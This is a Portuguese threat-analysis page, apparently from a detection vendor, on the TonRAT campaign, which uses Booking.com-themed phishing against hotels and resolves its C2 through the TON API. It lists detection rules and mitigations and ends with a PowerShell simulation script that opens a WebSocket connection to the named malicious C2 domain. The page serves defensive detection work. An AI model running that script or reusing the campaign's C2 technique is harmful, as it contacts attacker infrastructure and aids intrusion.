Análise Técnica de Emails Suspeitos Alvejando a Indústria Hoteleira
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma sofisticada campanha de malware em múltiplos estágios está mirando o setor hoteleiro através de e-mails disfarçados como notificações do Booking.com. A cadeia de intrusão combina arquivos LNK maliciosos, scripts PowerShell e um trojan de acesso remoto baseado em Node.js conhecido como TonRAT. Um dos aspectos mais notáveis da operação é o uso da API The Open Network (TON) para obter domínios de comando e controle dinamicamente, tornando o bloqueio baseado em domínio tradicional menos confiável.
Investigação
A investigação descobriu um fluxo de execução em camadas em que um arquivo ZIP inicial contém um arquivo LNK que lança o PowerShell para recuperar um script secundário. Esse script descriptografa uma carga útil em JavaScript identificada como TonRAT usando AES e a executa através de um runtime Node.js legítimo baixado de nodejs.org. Uma vez ativo, o malware inicia comunicações de comando e controle baseadas em WebSocket usando informações de domínio extraídas de solicitações da API blockchain TON.
Mitigação
As defesas recomendadas incluem restringir a execução do PowerShell, monitorar de perto o uso não autorizado do runtime Node.js (node.exe), e detectar tráfego anômalo de WebSocket. As organizações também devem monitorar conexões para a API TON, incluindo tonapi.io, e fortalecer a filtração de e-mails para capturar domínios falsificados, anexos suspeitos e iscas de phishing voltadas para a equipe dos hotéis.
Resposta
Se houver suspeita de comprometimento, as equipes de segurança devem isolar o endpoint afetado imediatamente para evitar tráfego adicional de comando e controle e possível exfiltração de dados. Os logs operacionais do PowerShell e os registros de execução de processos devem ser revisados para a node.exe atividade não autorizada. Uma varredura forense também deve ser realizada para os hashes JavaScript conhecidos do TonRAT, junto com a investigação de qualquer conexão com a infraestrutura de comando e controle identificada.
Fluxo de Ataque
Detecções
A Possibilidade de Execução Através de Linhas de Comando PowerShell Ocultas (via cmdline)
Ver
Possíveis Indicadores de Ofuscação de PowerShell (via powershell)
Ver
Possíveis Pontos de Persistência [ASEPs – Hive Software/NTUSER] (via registry_event)
Ver
PowerShell Executando Arquivo Em Diretório Suspeito Usando Política de Execução de Bypass (via cmdline)
Ver
Binário NodeJS Executando De Localização Incomum (via cmdline)
Ver
Alterações Suspeitas Nas Preferências Do Windows Defender (via powershell)
Ver
Comando e Controle Suspeito Por Pedido DNS De Domínio De Nível Superior (TLD) Não Usual (via dns)
Ver
Comunicação WebSocket C2 Detectada via API TON no TonRAT [Conexão de Rede Windows]
Ver
Comando PowerShell para Download e Execução de Arquivo Malicioso [Windows PowerShell]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-vôo de Telemetria & Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão à má interpretação do diagnóstico.
-
Narrativa do Ataque & Comandos: O adversário visa estabelecer um canal de Comando e Controle (C2) baseado em WebSocket. Para se misturar com o tráfego legítimo, o malware primeiro consulta o
tonapi.ioserviço para resolver sua infraestrutura C2. Uma vez que a interação de API “legítima” é estabelecida, o malware inicia um aperto de mão WebSocket (wss://) para o domínio malicioso codificadozloapobikahy23.bond. Esta sequência é projetada para aproveitar a reputação da API TON para mascarar a subsequente conexão maliciosa. -
Script de Teste de Regressão:
# Simulação de Comunicação C2 do TonRAT via WebSocket # Passo 1: Simular interação com a API TON Write-Host "[+] Simulando interação com tonapi.io..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # Passo 2: Simular conexão WebSocket para o domínio C2 malicioso # Nota: Usamos um cliente PowerShell para iniciar um pedido WSS para acionar a lógica 'wss://' e de domínio Write-Host "[+] Simulando conexão WebSocket para o domínio malicioso..." $c2_url = "wss://zloapobikahy23.bond/control" # Usando um cliente .NET WebSockets para garantir que 'wss://' esteja presente na telemetria $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # Não precisamos de uma conexão bem-sucedida, apenas a tentativa para gerar o log $task.Wait(5000) } catch { Write-Host "[!] Conexão falhou conforme esperado (domínio não existe), mas a telemetria deve ser gerada." } finally { $ws.Dispose() } -
Comandos de Limpeza:
# Nenhum artefato persistente é criado por este script, mas limpamos o console Clear-Host Write-Host "Limpeza de simulação concluída."